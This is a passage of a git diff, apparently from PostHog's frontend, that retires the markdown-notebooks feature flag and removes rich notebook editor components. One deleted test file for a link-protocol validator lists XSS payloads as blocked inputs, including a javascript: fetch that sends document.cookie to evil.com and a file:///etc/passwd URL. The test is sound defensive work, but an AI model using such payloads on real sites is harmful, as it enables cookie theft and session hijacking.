b/frontend/src/lib/constants.tsxindex b971c98f22d6..ac1eb0a7225a 100644--- a/frontend/src/lib/constants.tsx+++ b/frontend/src/lib/constants.tsx@@ -366,7 +366,6 @@ export const FEATURE_FLAGS = {LOGS_SQL_VIEW: 'logs-sql-view', // owner: #team-logsLOGS_TABBED_VIEW: 'logs-tabbed-view', // owner: #team-logsMANAGED_VIEWSETS: 'managed-viewsets', // owner: @rafaeelaudibert #team-revenue-analytics- MARKDOWN_NOTEBOOKS: 'markdown-notebooks', // owner: #team-platform-features, enables Markdown notebooks upgrade pathMARKETING_ANALYTICS_AI: 'marketing-analytics-ai', // owner: @jabahamondes #team-web-analyticsMARKETING_ANALYTICS_COSTS_PRECOMPUTATION: 'marketing-analytics-costs-precomputation', // owner: @jabahamondes #team-web-analytics — gates reading the native cost precompute tableMARKETING_ANALYTICS_DRILL_DOWN: 'marketing-analytics-drill-down', // owner: @jabahamondes #team-web-analytics@@ -390,8 +389,6 @@ export const FEATURE_FLAGS = {NEW_TEAM_CORE_EVENTS: 'new-team-core-events', // owner: @jabahamondes #team-web-analyticsNOTEBOOK_PYTHON: 'notebook-python', // owner: #team-data-toolsNOTEBOOK_SHARING: 'notebook-sharing', // owner: @reecejones #team-platform-features- NOTEBOOKS_COLLABORATION: 'notebooks-collaboration', // owner: #team-platform-features- NOTEBOOKS_COLLAPSIBLE_SECTIONS: 'notebooks-collapsible-sections', // owner: @benjackwhiteONBOARDING_DATA_WAREHOUSE_VALUE_PROP: 'onboarding-data-warehouse-value-prop', // owner: @fercgomes #team-growth multivariate=control,table,queryONBOARDING_FLOW_VARIANT: 'onboarding-flow-variant', // owner: @fercgomes #team-growth multivariate=control,self-driving — selects the whole onboarding experience; control is the existing flow (the historical `legacy` value is an alias of control)ONBOARDING_HIDE_BREADCRUMBS: 'onboarding-hide-breadcrumbs', // owner: @fercgomes #team-growth, multivariate=true, hides breadcrumbs during onboarding to reduce distractionsdiff --git a/frontend/src/models/notebooksModel.test.ts b/frontend/src/models/notebooksModel.test.tsindex 17521f1607f6..670404dc5a68 100644--- a/frontend/src/models/notebooksModel.test.ts+++ b/frontend/src/models/notebooksModel.test.ts@@ -1,8 +1,6 @@import { expectLogic } from 'kea-test-utils'import api from 'lib/api'-import { FEATURE_FLAGS } from 'lib/constants'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { buildMarkdownNotebookContent, getMarkdownNotebookMarkdown } from 'scenes/notebooks/Notebook/markdownNotebookV2'import { NotebookNodeType, NotebookTarget, NotebookType } from 'scenes/notebooks/types'@@ -29,36 +27,9 @@ describe('notebooksModel', () => {jest.restoreAllMocks()})- it('creates rich notebooks when markdown notebooks are not enabled', async () => {+ it('creates markdown notebooks with the title and passed content embedded', async () => {const createNotebookSpy = mockCreateNotebook()- await expectLogic(logic, () => {- logic.actions.createNotebook(NotebookTarget.Scene, 'Activation')- }).toDispatchActions(['createNotebookSuccess'])-- expect(createNotebookSpy).toHaveBeenCalledWith(- expect.objectContaining({- title: 'Activation',- content: {- type: 'doc',- content: [- {- type: 'heading',- attrs: { level: 1 },- content: [{ type: 'text', text: 'Activation' }],- },- ],- },- })- )- })-- it('creates markdown notebooks when markdown notebooks are enabled', async () => {- const createNotebookSpy = mockCreateNotebook()- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.MARKDOWN_NOTEBOOKS], {- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]: true,- })-await expectLogic(logic, () => {logic.actions.createNotebook(NotebookTarget.Scene, 'Activation', [{diff --git a/frontend/src/models/notebooksModel.ts b/frontend/src/models/notebooksModel.tsindex a902fcfff59d..af74adeb20ea 100644--- a/frontend/src/models/notebooksModel.ts+++ b/frontend/src/models/notebooksModel.ts@@ -4,9 +4,7 @@ import { router } from 'kea-router'import posthog from 'posthog-js'import api from 'lib/api'-import { EditorFocusPosition, JSONContent } from 'lib/components/RichContentEditor/types'-import { FEATURE_FLAGS } from 'lib/constants'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'+import { JSONContent } from 'lib/components/RichContentEditor/types'import { deleteWithUndo } from 'lib/utils/deleteWithUndo'import { addProductIntent } from 'lib/utils/product-intents'import { notebookLogic } from 'scenes/notebooks/Notebook/notebookLogic'@@ -53,13 +51,12 @@ export const SCRATCHPAD_NOTEBOOK: NotebookListItemType = {export const openNotebook = async (notebookId: string,target: NotebookTarget,- autofocus: EditorFocusPosition | undefined = undefined,onOpen?: (logic: BuiltLogic<notebookLogicType>) => void): Promise<void> => {const thePanelLogic = notebookPanelLogic.findMounted()if (thePanelLogic && target === NotebookTarget.Popover) {- thePanelLogic.actions.selectNotebook(notebookId, { autofocus })+ thePanelLogic.actions.selectNotebook(notebookId)} else {if (router.values.location.pathname === urls.notebook('new')) {router.actions.replace(urls.notebook(notebookId))@@ -102,7 +99,7 @@ export const notebooksModel = kea<notebooksModelType>([createNotebookFromDashboard: (dashboard: DashboardType<QueryBasedInsightModel>) => ({ dashboard }),}),connect(() => ({- values: [projectLogic, ['currentProjectId'], featureFlagLogic, ['featureFlags']],+ values: [projectLogic, ['currentProjectId']],})),reducers({@@ -114,15 +111,14 @@ export const notebooksModel = kea<notebooksModelType>([[] as NotebookListItemType[],{createNotebook: async ({ title, location, content, onCreate, shortId }) => {- const useMarkdownNotebook = !!values.featureFlags[FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]const notebook = await api.notebooks.create({title,- content: defaultNotebookContent(title, content, { markdown: useMarkdownNotebook }),+ content: defaultNotebookContent(title, content),_create_in_folder: getLastNewFolder(),...(shortId ? { short_id: shortId } : {}),})- await openNotebook(notebook.short_id, location, 'end', (logic) => {+ await openNotebook(notebook.short_id, location, (logic) => {onCreate?.(logic)})@@ -132,7 +128,7 @@ export const notebooksModel = kea<notebooksModelType>([// double-counting UI creations.posthog.capture(`notebook created (client)`, {short_id: notebook.short_id,- is_markdown: useMarkdownNotebook,+ is_markdown: true,})void addProductIntent({diff --git a/frontend/src/scenes/groups/cards/GroupNotebookCard.tsx b/frontend/src/scenes/groups/cards/GroupNotebookCard.tsxindex 5701b269adc8..065b47d989cc 100644--- a/frontend/src/scenes/groups/cards/GroupNotebookCard.tsx+++ b/frontend/src/scenes/groups/cards/GroupNotebookCard.tsx@@ -7,7 +7,7 @@ interface GroupNotebookCardProps {export function GroupNotebookCard({ shortId }: GroupNotebookCardProps): JSX.Element {return (<div className="flex-1 bg-white rounded-lg px-4">- <Notebook shortId={shortId} editable={true} initialAutofocus="end" />+ <Notebook shortId={shortId} editable={true} /></div>)}diff --git a/frontend/src/scenes/max/maxThreadLogic.test.ts b/frontend/src/scenes/max/maxThreadLogic.test.tsindex a0048813987b..f4eb656f0fcc 100644--- a/frontend/src/scenes/max/maxThreadLogic.test.ts+++ b/frontend/src/scenes/max/maxThreadLogic.test.ts@@ -1388,7 +1388,7 @@ describe('maxThreadLogic', () => {// Mock openNotebook to track its callsconst openNotebookSpy = jest.spyOn(notebooksModel, 'openNotebook')- openNotebookSpy.mockImplementation(async (notebookId, _target, _, callback) => {+ openNotebookSpy.mockImplementation(async (notebookId, _target, callback) => {const logic = notebookLogic({ shortId: notebookId })logic.mount()if (callback) {@@ -1401,12 +1401,7 @@ describe('maxThreadLogic', () => {logic.actions.processNotebookUpdate('test-notebook-id', { type: 'doc', content: [] } as any)}).toDispatchActions(['processNotebookUpdate'])- expect(openNotebookSpy).toHaveBeenCalledWith(- 'test-notebook-id',- NotebookTarget.Scene,- undefined,- expect.any(Function)- )+ expect(openNotebookSpy).toHaveBeenCalledWith('test-notebook-id', NotebookTarget.Scene, expect.any(Function))expect(router.values.location.pathname).toContain(urls.notebook('test-notebook-id'))})@@ -1429,7 +1424,7 @@ describe('maxThreadLogic', () => {expect(findMountedSpy).toHaveBeenCalledWith({ shortId: notebookId })expect(routerActionsSpy).not.toHaveBeenCalled()- expect(setLocalContentSpy).toHaveBeenCalledWith({ type: 'doc', content: [] }, true, true)+ expect(setLocalContentSpy).toHaveBeenCalledWith({ type: 'doc', content: [] }, true)})it('handles gracefully when notebook logic is not mounted on notebook page', async () => {diff --git a/frontend/src/scenes/max/maxThreadLogic.tsx b/frontend/src/scenes/max/maxThreadLogic.tsxindex feff7b0db29e..b6c4d9dae303 100644--- a/frontend/src/scenes/max/maxThreadLogic.tsx+++ b/frontend/src/scenes/max/maxThreadLogic.tsx@@ -1669,12 +1669,12 @@ export const maxThreadLogic = kea<maxThreadLogicType>([// We're already on the notebook page, refresh itlet logic = notebookLogic.findMounted({ shortId: notebookId })if (logic) {- logic.actions.setLocalContent(notebookContent, true, true)+ logic.actions.setLocalContent(notebookContent, true)}} else {// Navigate to the notebook- await openNotebook(notebookId, NotebookTarget.Scene, undefined, (logic) => {- logic.actions.setLocalContent(notebookContent, true, true)+ await openNotebook(notebookId, NotebookTarget.Scene, (logic) => {+ logic.actions.setLocalContent(notebookContent, true)})}} catch (error) {diff --git a/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/AddExperimentsToNotebookModal.tsx b/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/AddExperimentsToNotebookModal.tsxdeleted file mode 100644index 5852ce10666b..000000000000--- a/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/AddExperimentsToNotebookModal.tsx+++ /dev/null@@ -1,23 +0,0 @@-import { useActions, useValues } from 'kea'--import { LemonButton } from 'lib/lemon-ui/LemonButton'-import { LemonModal } from 'lib/lemon-ui/LemonModal'--import { addExperimentsToNotebookModalLogic } from './addExperimentsToNotebookModalLogic'-import { ExperimentsNotebookTable } from './ExperimentsNotebookTable'--export function AddExperimentsToNotebookModal(): JSX.Element {- const { closeModal } = useActions(addExperimentsToNotebookModalLogic)- const { isAddExperimentsToNotebookModalOpen, insertionPosition } = useValues(addExperimentsToNotebookModalLogic)-- return (- <LemonModal- title="Add experiment to notebook"- onClose={closeModal}- isOpen={isAddExperimentsToNotebookModalOpen}- footer={<LemonButton type="secondary" data-attr="notebook-cancel" onClick={closeModal} children="Close" />}- >- <ExperimentsNotebookTable insertionPosition={insertionPosition} />- </LemonModal>- )-}diff --git a/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/ExperimentsNotebookTable.tsx b/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/ExperimentsNotebookTable.tsxindex d67e32c91d8f..a8c0d3e671da 100644--- a/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/ExperimentsNotebookTable.tsx+++ b/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/ExperimentsNotebookTable.tsx@@ -1,6 +1,6 @@import { useActions, useValues } from 'kea'-import { IconCheck, IconFlask, IconPlus, IconX } from '@posthog/icons'+import { IconFlask, IconPlus } from '@posthog/icons'import { LemonInput, LemonTag, Tooltip } from '@posthog/lemon-ui'import { TZLabel } from 'lib/components/TZLabel'@@ -9,50 +9,19 @@ import { createdByColumn } from 'lib/lemon-ui/LemonTable/columnUtils'import { getExperimentStatus } from '~/scenes/experiments/experimentsLogic'import { StatusTag } from '~/scenes/experiments/ExperimentView/StatusTag'-import { notebookLogic } from '~/scenes/notebooks/Notebook/notebookLogic'-import { NotebookNodeType } from '~/scenes/notebooks/types'import { Experiment } from '~/types'import { addExperimentsToNotebookModalLogic } from './addExperimentsToNotebookModalLogic'type ExperimentsNotebookTableProps = {- insertionPosition?: number | null- onSelect?: (experimentId: number) => void+ onSelect: (experimentId: number) => void}-export function ExperimentsNotebookTable({ insertionPosition, onSelect }: ExperimentsNotebookTableProps): JSX.Element {+export function ExperimentsNotebookTable({ onSelect }: ExperimentsNotebookTableProps): JSX.Element {const { experiments, experimentsLoading, filters, sorting, experimentsPerPage, count, modalPage } = useValues(addExperimentsToNotebookModalLogic)- const { setModalPage, setModalFilters, closeModal } = useActions(addExperimentsToNotebookModalLogic)-- const { experimentIdsInNotebook, findNodeLogic } = useValues(notebookLogic)- const { addExperimentToNotebook } = useActions(notebookLogic)-- const isSelected = (experiment: Experiment): boolean => {- if (onSelect) {- return false- }- return experimentIdsInNotebook?.includes(experiment.id as number) ?? false- }-- const onToggle = (experiment: Experiment): void => {- if (onSelect) {- onSelect(experiment.id as number)- return- }- // If already in notebook, remove it- if (isSelected(experiment)) {- const nodeLogic = findNodeLogic(NotebookNodeType.Experiment, { id: experiment.id })- if (nodeLogic) {- nodeLogic.actions.deleteNode()- }- return- }-- addExperimentToNotebook(experiment.id as number, insertionPosition)- closeModal()- }+ const { setModalPage, setModalFilters } = useActions(addExperimentsToNotebookModalLogic)const columns: LemonTableColumns<Experiment> = [{@@ -114,13 +83,8 @@ export function ExperimentsNotebookTable({ insertionPosition, onSelect }: Experi{key: 'action',width: 32,- render: function renderAction(_: unknown, experiment: Experiment) {- return isSelected(experiment) ? (- <div className="group/status relative flex items-center justify-center">- <IconCheck className="text-success text-xl transition-opacity duration-150 group-hover/status:opacity-0" />- <IconX className="text-danger text-xl absolute inset-0 opacity-0 transition-opacity duration-150 group-hover/status:opacity-100" />- </div>- ) : (+ render: function renderAction() {+ return (<IconPlus className="text-muted text-xl opacity-40 group-hover:opacity-100 group-hover:text-success transition-all" />)},@@ -161,14 +125,12 @@ export function ExperimentsNotebookTable({ insertionPosition, onSelect }: ExperirowKey="id"loadingSkeletonRows={experimentsPerPage}nouns={['experiment', 'experiments']}- rowClassName={(experiment) =>- isSelected(experiment)- ? 'group bg-success-highlight border-l-2 border-l-success cursor-pointer hover:bg-success-highlight/70'- : 'group cursor-pointer hover:bg-success-highlight/30 border-l-2 border-l-transparent hover:border-l-success/50'+ rowClassName={() =>+ 'group cursor-pointer hover:bg-success-highlight/30 border-l-2 border-l-transparent hover:border-l-success/50'}onRow={(experiment) => ({- onClick: () => onToggle(experiment),- title: isSelected(experiment) ? 'Click to deselect' : 'Click to select',+ onClick: () => onSelect(experiment.id as number),+ title: 'Click to select',})}emptyState="No experiments found"/>diff --git a/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/addExperimentsToNotebookModalLogic.ts b/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/addExperimentsToNotebookModalLogic.tsindex 05baced7bea9..00a3dae89648 100644--- a/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/addExperimentsToNotebookModalLogic.ts+++ b/frontend/src/scenes/notebooks/AddExperimentsToNotebookModal/addExperimentsToNotebookModalLogic.ts@@ -25,8 +25,6 @@ export interface addExperimentsToNotebookModalLogicValues {experimentsLoading: booleanexperimentsPerPage: numberfilters: ExperimentsModalFilters- insertionPosition: number | null- isAddExperimentsToNotebookModalOpen: booleanmodalPage: numberrawModalFilters: ExperimentsModalFilterssorting: Sorting | null@@ -58,9 +56,6 @@ export interface addExperimentsToNotebookModalLogicActions {value: true}}- openModal: (insertionPosition: number | null) => {- insertionPosition: number | null- }setModalFilters: (filters: Partial<ExperimentsModalFilters>,merge?: boolean@@ -84,7 +79,6 @@ export const addExperimentsToNotebookModalLogic = kea<addExperimentsToNotebookMovalues: [teamLogic, ['currentTeamId']],})),actions({- openModal: (insertionPosition: number | null) => ({ insertionPosition }),closeModal: true,setModalFilters: (filters: Partial<ExperimentsModalFilters>, merge: boolean = true) => ({ filters, merge }),setModalPage: (page: number) => ({ page }),@@ -119,20 +113,6 @@ export const addExperimentsToNotebookModalLogic = kea<addExperimentsToNotebookMo},})),reducers({- isAddExperimentsToNotebookModalOpen: [- false,- {- openModal: () => true,- closeModal: () => false,- },- ],- insertionPosition: [- null as number | null,- {- openModal: (_, { insertionPosition }) => insertionPosition,- closeModal: () => null,- },- ],rawModalFilters: [{ page: 1, order: '-created_at' } as ExperimentsModalFilters,{@@ -168,9 +148,6 @@ export const addExperimentsToNotebookModalLogic = kea<addExperimentsToNotebookMo],}),listeners(({ actions, values, selectors, props }) => ({- openModal: () => {- actions.loadExperiments()- },setModalPage: ({ page }) => {actions.setModalFilters({ page }, true)},diff --git a/frontend/src/scenes/notebooks/AddInsightsToNotebookModal/AddInsightsToNotebookModal.tsx b/frontend/src/scenes/notebooks/AddInsightsToNotebookModal/AddInsightsToNotebookModal.tsxdeleted file mode 100644index 7b2094e05f3f..000000000000--- a/frontend/src/scenes/notebooks/AddInsightsToNotebookModal/AddInsightsToNotebookModal.tsx+++ /dev/null@@ -1,23 +0,0 @@-import { useActions, useValues } from 'kea'--import { LemonButton } from 'lib/lemon-ui/LemonButton'-import { LemonModal } from 'lib/lemon-ui/LemonModal'-import { AddSavedInsightsToNotebook } from 'scenes/saved-insights/AddSavedInsightsToNotebook'--import { addInsightsToNotebookModalLogic } from './addInsightsToNotebookModalLogic'--export function AddInsightsToNotebookModal(): JSX.Element {- const { closeModal } = useActions(addInsightsToNotebookModalLogic)- const { isAddInsightsToNotebookModalOpen, insertionPosition } = useValues(addInsightsToNotebookModalLogic)-- return (- <LemonModal- title="Add insight to notebook"- onClose={closeModal}- isOpen={isAddInsightsToNotebookModalOpen}- footer={<LemonButton type="secondary" data-attr="notebook-cancel" onClick={closeModal} children="Close" />}- >- <AddSavedInsightsToNotebook insertionPosition={insertionPosition} />- </LemonModal>- )-}diff --git a/frontend/src/scenes/notebooks/AddInsightsToNotebookModal/addInsightsToNotebookModalLogic.ts b/frontend/src/scenes/notebooks/AddInsightsToNotebookModal/addInsightsToNotebookModalLogic.tsdeleted file mode 100644index 0490b50f8fa0..000000000000--- a/frontend/src/scenes/notebooks/AddInsightsToNotebookModal/addInsightsToNotebookModalLogic.ts+++ /dev/null@@ -1,46 +0,0 @@-import { MakeLogicType, actions, kea, path, reducers } from 'kea'--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface addInsightsToNotebookModalLogicValues {- insertionPosition: number | null- isAddInsightsToNotebookModalOpen: boolean-}--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface addInsightsToNotebookModalLogicActions {- closeModal: () => {- value: true- }- openModal: (insertionPosition: number | null) => {- insertionPosition: number | null- }-}--export type addInsightsToNotebookModalLogicType = MakeLogicType<- addInsightsToNotebookModalLogicValues,- addInsightsToNotebookModalLogicActions->--export const addInsightsToNotebookModalLogic = kea<addInsightsToNotebookModalLogicType>([- path(['scenes', 'notebooks', 'AddInsightsToNotebookModal', 'addInsightsToNotebookModalLogic']),- actions({- openModal: (insertionPosition: number | null) => ({ insertionPosition }),- closeModal: true,- }),- reducers({- isAddInsightsToNotebookModalOpen: [- false,- {- openModal: () => true,- closeModal: () => false,- },- ],- insertionPosition: [- null as number | null,- {- openModal: (_, { insertionPosition }) => insertionPosition,- closeModal: () => null,- },- ],- }),-])diff --git a/frontend/src/scenes/notebooks/Marks/NotebookMarkComment.tsx b/frontend/src/scenes/notebooks/Marks/NotebookMarkComment.tsxdeleted file mode 100644index e5169d81a7c4..000000000000--- a/frontend/src/scenes/notebooks/Marks/NotebookMarkComment.tsx+++ /dev/null@@ -1,60 +0,0 @@-import { Mark, MarkViewProps, mergeAttributes } from '@tiptap/core'-import { MarkViewContent, ReactMarkViewRenderer } from '@tiptap/react'-import clsx from 'clsx'-import { useMountedLogic, useValues } from 'kea'--import { notebookLogic } from '../Notebook/notebookLogic'--export const NotebookMarkComment = Mark.create({- name: 'comment',- spanning: false,-- addAttributes() {- return {- id: {- default: null,- parseHTML: (el) => (el as HTMLSpanElement).dataset.id,- renderHTML: (attrs) => ({ 'data-id': attrs.id }),- },- }- },-- parseHTML() {- return [- {- tag: 'span[data-id]',- getAttrs: (el) => !!(el as HTMLSpanElement).dataset.id?.trim() && null,- },- ]- },-- renderHTML({ HTMLAttributes }) {- return [- 'span',- mergeAttributes(HTMLAttributes, {- class: 'NotebookComment',- }),- 0,- ]- },-- addMarkView() {- return ReactMarkViewRenderer(Component)- },-})--const Component = (props: MarkViewProps): JSX.Element => {- const mountedNotebookLogic = useMountedLogic(notebookLogic)- const { activeCommentMarkId } = useValues(notebookLogic)- const isActive = activeCommentMarkId === props.mark.attrs.id-- const attributes = mergeAttributes(props.HTMLAttributes, {- class: clsx('NotebookComment', isActive && 'NotebookComment--active'),- })-- return (- <span {...attributes} onClick={() => mountedNotebookLogic.actions.selectComment(props.mark.attrs.id)}>- <MarkViewContent />- </span>- )-}diff --git a/frontend/src/scenes/notebooks/Marks/NotebookMarkLink.test.ts b/frontend/src/scenes/notebooks/Marks/NotebookMarkLink.test.tsdeleted file mode 100644index fb95637b05d9..000000000000--- a/frontend/src/scenes/notebooks/Marks/NotebookMarkLink.test.ts+++ /dev/null@@ -1,36 +0,0 @@-import { isSafeProtocol } from './NotebookMarkLink'--describe('NotebookMarkLink', () => {- describe('isSafeProtocol', () => {- test.each([- { href: 'https://posthog.com', expected: true },- { href: 'https://example.com/path?query=1', expected: true },- { href: 'http://localhost:8000', expected: true },- { href: 'HTTP://EXAMPLE.COM', expected: true },- { href: 'HTTPS://EXAMPLE.COM', expected: true },- { href: 'mailto:[email protected]', expected: true },- { href: 'MAILTO:[email protected]', expected: true },- ])('allows safe protocol: $href', ({ href, expected }) => {- expect(isSafeProtocol(href)).toBe(expected)- })-- test.each([- { href: 'javascript:alert(1)', description: 'javascript protocol' },- { href: 'javascript:alert(document.cookie)', description: 'javascript with cookie theft' },- { href: 'JAVASCRIPT:alert(1)', description: 'uppercase javascript' },- { href: 'JaVaScRiPt:alert(1)', description: 'mixed case javascript' },- { href: 'javascript:void(0)', description: 'javascript void' },- { href: "javascript:fetch('https://evil.com?c='+document.cookie)", description: 'javascript fetch attack' },- { href: 'data:text/html,<script>alert(1)</script>', description: 'data URI' },- { href: 'vbscript:msgbox(1)', description: 'vbscript protocol' },- { href: 'file:///etc/passwd', description: 'file protocol' },- { href: 'ftp://example.com', description: 'ftp protocol' },- { href: '', description: 'empty string' },- { href: 'not-a-url', description: 'plain text' },- { href: '/relative/path', description: 'relative path' },- { href: '//example.com', description: 'protocol-relative URL' },- ])('blocks unsafe protocol ($description): $href', ({ href }) => {- expect(isSafeProtocol(href)).toBe(false)- })- })-})diff --git a/frontend/src/scenes/notebooks/Marks/NotebookMarkLink.tsx b/frontend/src/scenes/notebooks/Marks/NotebookMarkLink.tsxdeleted file mode 100644index da6611326c86..000000000000--- a/frontend/src/scenes/notebooks/Marks/NotebookMarkLink.tsx+++ /dev/null@@ -1,90 +0,0 @@-import { Mark, getMarkRange, mergeAttributes } from '@tiptap/core'-import { Plugin, PluginKey } from '@tiptap/pm/state'--import { linkPasteRule } from '../Nodes/utils'--export const NotebookMarkLink = Mark.create({- name: 'link',- priority: 1000,- keepOnSplit: false,- inclusive: true,-- addAttributes() {- return {- href: { default: null },- target: { default: undefined },- }- },-- parseHTML() {- return [{ tag: 'a[href]:not([href *= "javascript:" i])' }]- },-- renderHTML({ HTMLAttributes }) {- const href = HTMLAttributes.href || ''- const target = isPostHogLink(href) ? undefined : '_blank'- if (!isSafeProtocol(href)) {- HTMLAttributes.href = ''- }- return ['a', mergeAttributes(HTMLAttributes, { target }), 0]- },-- addPasteRules() {- return [linkPasteRule()]- },-- addProseMirrorPlugins() {- const { editor, type: markType } = this- return [- new Plugin({- key: new PluginKey('handleLinkClick'),- props: {- handleDOMEvents: {- click(_, event) {- const link = (event.target as HTMLElement).closest?.('a')- if (link) {- event.preventDefault()-- if (event.metaKey) {- const href = link.href- if (href && isSafeProtocol(href)) {- window.open(href, link.target)- }- }- }- },- },- handleClick(view, pos, event) {- if (event.metaKey) {- return false- }-- const $pos = view.state.doc.resolve(pos)- const range = getMarkRange($pos, markType)- if (range) {- editor.commands.setTextSelection(range)- return true- }-- return false- },- },- }),- ]- },-})--const SAFE_LINK_PROTOCOLS = /^(https?:|mailto:)/i--export const isSafeProtocol = (href: string): boolean => {- return SAFE_LINK_PROTOCOLS.test(href)-}--const isPostHogLink = (href: string): boolean => {- try {- const url = new URL(href, window.location.origin)- return url.origin === window.location.origin- } catch {- return false- }-}diff --git a/frontend/src/scenes/notebooks/Nodes/NodeWrapper.tsx b/frontend/src/scenes/notebooks/Nodes/NodeWrapper.tsxindex 2b97ce14f251..6a2724ee9dbd 100644--- a/frontend/src/scenes/notebooks/Nodes/NodeWrapper.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NodeWrapper.tsx@@ -1,16 +1,6 @@-// KLUDGE: This file is NOT formatted by oxfmt to avoid problems with import resolutions.-// Our KNOWN_NODES resolution will NOT work if the imports here are sorted in a different way.-import {- Node,- NodeViewWrapper,- mergeAttributes,- ReactNodeViewRenderer,- NodeViewProps,- getExtensionField,-} from '@tiptap/react'-import { memo, type PointerEvent as ReactPointerEvent, useCallback, useEffect, useRef, useState } from 'react'+import { memo, type PointerEvent as ReactPointerEvent, useCallback, useRef } from 'react'import clsx from 'clsx'-import { IconDragHandle, IconLink } from 'lib/lemon-ui/icons'+import { IconLink } from 'lib/lemon-ui/icons'import { LemonButton, LemonMenu, LemonMenuItems } from '@posthog/lemon-ui'import './NodeWrapper.scss'import { LemonSkeleton } from 'lib/lemon-ui/LemonSkeleton'@@ -20,27 +10,17 @@ import { hashCodeForString } from 'lib/utils/strings'import { useInView } from 'react-intersection-observer'import { ErrorBoundary } from '~/layout/ErrorBoundary'import { NotebookNodeLogicProps, notebookNodeLogic } from './notebookNodeLogic'-import {- posthogNodeInputRule,- posthogNodePasteRule,- shouldOmitFromClipboardHTML,- useSyncedAttributes,-} from './utils'import { KNOWN_NODES } from '../utils'-import { SharedNodeErrorBoundary, UnsupportedNodePlaceholder, isNodeSupportedInSharedNotebook } from './sharedNodeSupport'import { NotebookNodeTitle } from './components/NotebookNodeTitle'import { DuckSqlRunMenu } from './components/DuckSqlRunMenu'import { HogqlSqlRunMenu } from './components/HogqlSqlRunMenu'import { PythonRunMenu } from './components/PythonRunMenu'-import { SlashCommandsPopover } from '../Notebook/SlashCommands'-import posthog from 'posthog-js'import { NotebookNodeContext } from './NotebookNodeContext'-import { IconCollapse, IconCopy, IconEllipsis, IconExpand, IconPencil, IconPlus, IconX } from '@posthog/icons'+import { IconCollapse, IconCopy, IconEllipsis, IconExpand, IconPencil, IconX } from '@posthog/icons'import {CreatePostHogWidgetNodeOptions,CustomNotebookNodeAttributes,NodeWrapperProps,- NotebookNodeProps,NotebookNodeResource,NotebookNodeType,} from '../types'@@ -65,16 +45,14 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperPexpandOnClick = true,autoHideMetadata = false,minHeight,- getPos,attributes,updateAttributes,Settings = null,} = propsconst mountedNotebookLogic = useMountedLogic(notebookLogic)- const { isEditable, editingNodeIds, containerSize, notebook, mode, isShared } = useValues(mountedNotebookLogic)+ const { isEditable, editingNodeIds, containerSize, notebook, isShared } = useValues(mountedNotebookLogic)const { unregisterNodeLogic, insertComment, selectComment } = useActions(notebookLogic)- const [slashCommandsPopoverVisible, setSlashCommandsPopoverVisible] = useState<boolean>(false)const logicProps: NotebookNodeLogicProps = {...props,@@ -86,7 +64,6 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperPconst {resizeable,expanded,- actions,nodeId,pythonRunLoading,duckSqlRunLoading,@@ -106,10 +83,8 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperPsetExpanded,deleteNode,toggleEditing,- insertOrSelectNextLine,toggleEditingTitle,copyToClipboard,- convertToBacklink,runPythonNodeWithMode,runDuckSqlNodeWithMode,runHogqlSqlNodeWithMode,@@ -156,14 +131,6 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperPwindow.addEventListener('mouseup', onResizedEnd)}, [nodeType, resizeable, updateAttributes])- const onActionsAreaClick = (): void => {- // Clicking in the area of the actions without selecting a specific action likely indicates the user wants to- // add new content below. If we are in editing mode, we should select the next line if there is one, otherwise- if (!slashCommandsPopoverVisible) {- insertOrSelectNextLine()- }- }-const parsedHref = typeof href === 'function' ? href(attributes) : href// Element is resizable if resizable is set to true. If expandable is set to true then is is only resizable if expanded is true@@ -204,7 +171,6 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperP},[isEditable, isResizeable, nodeType, updateAttributes])- const isDraggable = !!(isEditable && getPos)const isPythonNode = nodeType === NotebookNodeType.Pythonconst isDuckSqlNode = nodeType === NotebookNodeType.DuckSQLconst isHogqlSqlNode = nodeType === NotebookNodeType.HogQLSQL@@ -284,13 +250,6 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperP},}: null,- isEditable && parsedHref- ? {- label: 'Convert to inline link',- onClick: () => convertToBacklink(parsedHref),- sideIcon: <IconLink />,- }- : null,isEditable ? { label: 'Edit title', onClick: () => toggleEditingTitle(true) } : null,isEditable? sourceComment@@ -303,19 +262,16 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperPconst menuItems = customMenuItems ?? defaultMenuItemsconst hasMenu = menuItems.some((x) => !!x)- const isInCanvas = mode === 'canvas'return (<NotebookNodeContext.Provider value={nodeLogic}><BindLogic logic={notebookNodeLogic} props={logicProps}>- <NodeViewWrapper as="div">+ <div><divref={setRefs}className={clsx(nodeType, 'NotebookNode', {'NotebookNode--auto-hide-metadata': autoHideMetadata,- 'NotebookNode--editable': getPos && isEditable,'NotebookNode--selected': isEditable && selected,- 'NotebookNode--active': slashCommandsPopoverVisible,})}><div className="NotebookNode__box">@@ -333,11 +289,8 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperP</>) : (<>- <div className="NotebookNode__meta" data-drag-handle>+ <div className="NotebookNode__meta"><div className="flex items-center flex-1 overflow-hidden">- {isDraggable && (- <IconDragHandle className="cursor-move text-base shrink-0" />- )}<NotebookNodeTitle /></div>@@ -383,7 +336,7 @@ function NodeWrapper<T extends CustomNotebookNodeAttributes>(props: NodeWrapperP/>) : null}- {(isEditable || isInCanvas) && Settings ? (+ 